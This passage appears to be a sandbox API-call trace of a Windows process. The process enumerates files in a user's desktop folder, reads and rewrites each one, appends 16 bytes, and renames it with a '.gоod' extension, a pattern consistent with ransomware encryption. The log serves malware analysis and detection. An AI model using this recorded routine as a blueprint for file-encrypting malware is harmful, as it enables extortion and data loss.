ftLastAccessTime.dwLowDateTime=0xe799a250, ftLastAccessTime.dwHighDateTime=0x1d4cc5c, ftLastWriteTime.dwLowDateTime=0xe799a250, ftLastWriteTime.dwHighDateTime=0x1d4cc5c, nFileSizeHigh=0x0, nFileSizeLow=0xce3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ruKIy9.mp4", cAlternateFileName="")) returned 1 [0217.936] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50068870, ftCreationTime.dwHighDateTime=0x1d4d2c6, ftLastAccessTime.dwLowDateTime=0xd5e29c20, ftLastAccessTime.dwHighDateTime=0x1d4d38b, ftLastWriteTime.dwLowDateTime=0xd5e29c20, ftLastWriteTime.dwHighDateTime=0x1d4d38b, nFileSizeHigh=0x0, nFileSizeLow=0xc869, dwReserved0=0x0, dwReserved1=0x0, cFileName="vbndA99TOAba.bmp", cAlternateFileName="VBNDA9~1.BMP")) returned 1 [0217.936] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf057650, ftCreationTime.dwHighDateTime=0x1d4d367, ftLastAccessTime.dwLowDateTime=0xb1c66e50, ftLastAccessTime.dwHighDateTime=0x1d4cb54, ftLastWriteTime.dwLowDateTime=0xb1c66e50, ftLastWriteTime.dwHighDateTime=0x1d4cb54, nFileSizeHigh=0x0, nFileSizeLow=0xf779, dwReserved0=0x0, dwReserved1=0x0, cFileName="WvgHvUnz3.mp4", cAlternateFileName="WVGHVU~1.MP4")) returned 1 [0217.936] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd05620, ftCreationTime.dwHighDateTime=0x1d4cf66, ftLastAccessTime.dwLowDateTime=0xb61fe260, ftLastAccessTime.dwHighDateTime=0x1d4d270, ftLastWriteTime.dwLowDateTime=0xb61fe260, ftLastWriteTime.dwHighDateTime=0x1d4d270, nFileSizeHigh=0x0, nFileSizeLow=0xc4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xn04sA4S.avi", cAlternateFileName="")) returned 1 [0217.936] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf40a490, ftCreationTime.dwHighDateTime=0x1d4cf15, ftLastAccessTime.dwLowDateTime=0x7e0507c0, ftLastAccessTime.dwHighDateTime=0x1d4c9a6, ftLastWriteTime.dwLowDateTime=0x7e0507c0, ftLastWriteTime.dwHighDateTime=0x1d4c9a6, nFileSizeHigh=0x0, nFileSizeLow=0xa042, dwReserved0=0x0, dwReserved1=0x0, cFileName="zvXXg0GRJasKuRJZ.bmp", cAlternateFileName="ZVXXG0~1.BMP")) returned 1 [0217.937] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf40a490, ftCreationTime.dwHighDateTime=0x1d4cf15, ftLastAccessTime.dwLowDateTime=0x7e0507c0, ftLastAccessTime.dwHighDateTime=0x1d4c9a6, ftLastWriteTime.dwLowDateTime=0x7e0507c0, ftLastWriteTime.dwHighDateTime=0x1d4c9a6, nFileSizeHigh=0x0, nFileSizeLow=0xa042, dwReserved0=0x0, dwReserved1=0x0, cFileName="zvXXg0GRJasKuRJZ.bmp", cAlternateFileName="ZVXXG0~1.BMP")) returned 0 [0217.937] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0217.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0217.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0217.937] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3", lpFilePart=0x0) returned 0x38 [0217.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0217.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\0lpu5hvhvsan-om9n.mp3"), fInfoLevelId=0x0, lpFileInformation=0x367a018 | out: lpFileInformation=0x367a018*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7631f50, ftCreationTime.dwHighDateTime=0x1d4cfd4, ftLastAccessTime.dwLowDateTime=0x7b9c6670, ftLastAccessTime.dwHighDateTime=0x1d4cbba, ftLastWriteTime.dwLowDateTime=0x7b9c6670, ftLastWriteTime.dwHighDateTime=0x1d4cbba, nFileSizeHigh=0x0, nFileSizeLow=0x18bab)) returned 1 [0217.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0217.937] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3", lpFilePart=0x0) returned 0x38 [0217.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0217.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\0lpu5hvhvsan-om9n.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0217.938] GetFileType (hFile=0x864) returned 0x1 [0217.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0217.938] GetFileType (hFile=0x864) returned 0x1 [0217.938] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0217.938] ReadFile (in: hFile=0x864, lpBuffer=0x367a420, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x367a420*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0217.939] CloseHandle (hObject=0x864) returned 1 [0217.939] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3", lpFilePart=0x0) returned 0x38 [0217.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0217.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\0lpu5hvhvsan-om9n.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0217.939] GetFileType (hFile=0x864) returned 0x1 [0217.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0217.939] GetFileType (hFile=0x864) returned 0x1 [0217.939] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x18bab [0217.939] WriteFile (in: hFile=0x864, lpBuffer=0x367b6b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x367b6b0*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0217.939] CloseHandle (hObject=0x864) returned 1 [0218.368] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3", lpFilePart=0x0) returned 0x38 [0218.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0218.368] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\0lpu5hvhvsan-om9n.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0218.368] GetFileType (hFile=0x864) returned 0x1 [0218.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0218.368] GetFileType (hFile=0x864) returned 0x1 [0218.368] ReadFile (in: hFile=0x864, lpBuffer=0x35de5a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x35de5a0*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0218.395] CloseHandle (hObject=0x864) returned 1 [0218.395] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3", lpFilePart=0x0) returned 0x38 [0218.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0218.395] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\0lpu5hvhvsan-om9n.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0218.395] GetFileType (hFile=0x864) returned 0x1 [0218.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0218.395] GetFileType (hFile=0x864) returned 0x1 [0218.395] WriteFile (in: hFile=0x864, lpBuffer=0x35dd300*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x35dd300*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0218.395] CloseHandle (hObject=0x864) returned 1 [0218.980] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3", lpFilePart=0x0) returned 0x38 [0218.980] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3.gоod", lpFilePart=0x0) returned 0x3d [0218.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0218.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\0lpu5hvhvsan-om9n.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7631f50, ftCreationTime.dwHighDateTime=0x1d4cfd4, ftLastAccessTime.dwLowDateTime=0x7b9c6670, ftLastAccessTime.dwHighDateTime=0x1d4cbba, ftLastWriteTime.dwLowDateTime=0x7e6212ee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18bbb)) returned 1 [0218.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0218.981] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\0lpu5hvhvsan-om9n.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\0LpU5hvHVSan-OM9n.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\0lpu5hvhvsan-om9n.mp3.gоod")) returned 1 [0219.266] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav", lpFilePart=0x0) returned 0x31 [0219.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0219.266] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\hpug5p9i0r.wav"), fInfoLevelId=0x0, lpFileInformation=0x3759ac0 | out: lpFileInformation=0x3759ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad06ff0, ftCreationTime.dwHighDateTime=0x1d4c6c8, ftLastAccessTime.dwLowDateTime=0xd3854c60, ftLastAccessTime.dwHighDateTime=0x1d4cc52, ftLastWriteTime.dwLowDateTime=0xd3854c60, ftLastWriteTime.dwHighDateTime=0x1d4cc52, nFileSizeHigh=0x0, nFileSizeLow=0xf1c0)) returned 1 [0219.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0219.267] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav", lpFilePart=0x0) returned 0x31 [0219.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0219.267] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\hpug5p9i0r.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0219.267] GetFileType (hFile=0x860) returned 0x1 [0219.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0219.267] GetFileType (hFile=0x860) returned 0x1 [0219.267] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0219.267] ReadFile (in: hFile=0x860, lpBuffer=0x3759e88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3759e88*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0219.268] CloseHandle (hObject=0x860) returned 1 [0219.268] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav", lpFilePart=0x0) returned 0x31 [0219.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0219.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\hpug5p9i0r.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0219.268] GetFileType (hFile=0x860) returned 0x1 [0219.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0219.268] GetFileType (hFile=0x860) returned 0x1 [0219.268] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0xf1c0 [0219.268] WriteFile (in: hFile=0x860, lpBuffer=0x375b0f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x375b0f8*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0219.269] CloseHandle (hObject=0x860) returned 1 [0219.466] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav", lpFilePart=0x0) returned 0x31 [0219.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0219.466] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\hpug5p9i0r.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0219.466] GetFileType (hFile=0x85c) returned 0x1 [0219.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0219.466] GetFileType (hFile=0x85c) returned 0x1 [0219.466] ReadFile (in: hFile=0x85c, lpBuffer=0x36127c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x36127c8*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0219.493] CloseHandle (hObject=0x85c) returned 1 [0219.493] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav", lpFilePart=0x0) returned 0x31 [0219.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0219.493] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\hpug5p9i0r.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0219.493] GetFileType (hFile=0x85c) returned 0x1 [0219.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0219.493] GetFileType (hFile=0x85c) returned 0x1 [0219.493] WriteFile (in: hFile=0x85c, lpBuffer=0x3611548*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3611548*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0219.493] CloseHandle (hObject=0x85c) returned 1 [0220.129] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav", lpFilePart=0x0) returned 0x31 [0220.129] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav.gоod", lpFilePart=0x0) returned 0x36 [0220.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0220.130] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\hpug5p9i0r.wav"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad06ff0, ftCreationTime.dwHighDateTime=0x1d4c6c8, ftLastAccessTime.dwLowDateTime=0xd3854c60, ftLastAccessTime.dwHighDateTime=0x1d4cc52, ftLastWriteTime.dwLowDateTime=0x7f0a82a5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d0)) returned 1 [0220.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0220.130] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\hpug5p9i0r.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\hPug5P9I0r.wav.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\hpug5p9i0r.wav.gоod")) returned 1 [0221.735] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png", lpFilePart=0x0) returned 0x2f [0221.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0221.735] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\i_ae6b s.png"), fInfoLevelId=0x0, lpFileInformation=0x3757218 | out: lpFileInformation=0x3757218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ae0c30, ftCreationTime.dwHighDateTime=0x1d4c782, ftLastAccessTime.dwLowDateTime=0xca3868c0, ftLastAccessTime.dwHighDateTime=0x1d4c61e, ftLastWriteTime.dwLowDateTime=0xca3868c0, ftLastWriteTime.dwHighDateTime=0x1d4c61e, nFileSizeHigh=0x0, nFileSizeLow=0x10110)) returned 1 [0221.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0221.735] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png", lpFilePart=0x0) returned 0x2f [0221.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0221.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\i_ae6b s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0221.771] GetFileType (hFile=0x860) returned 0x1 [0221.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0221.771] GetFileType (hFile=0x860) returned 0x1 [0221.771] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0221.771] ReadFile (in: hFile=0x860, lpBuffer=0x37e3930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x37e3930*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0221.772] CloseHandle (hObject=0x860) returned 1 [0221.772] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png", lpFilePart=0x0) returned 0x2f [0221.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0221.772] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\i_ae6b s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0221.772] GetFileType (hFile=0x860) returned 0x1 [0221.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0221.772] GetFileType (hFile=0x860) returned 0x1 [0221.772] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x10110 [0221.772] WriteFile (in: hFile=0x860, lpBuffer=0x37e4b98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x37e4b98*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0221.772] CloseHandle (hObject=0x860) returned 1 [0221.773] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png", lpFilePart=0x0) returned 0x2f [0221.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0221.773] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\i_ae6b s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0221.773] GetFileType (hFile=0x860) returned 0x1 [0221.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0221.773] GetFileType (hFile=0x860) returned 0x1 [0221.773] ReadFile (in: hFile=0x860, lpBuffer=0x37e6e28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x37e6e28*, 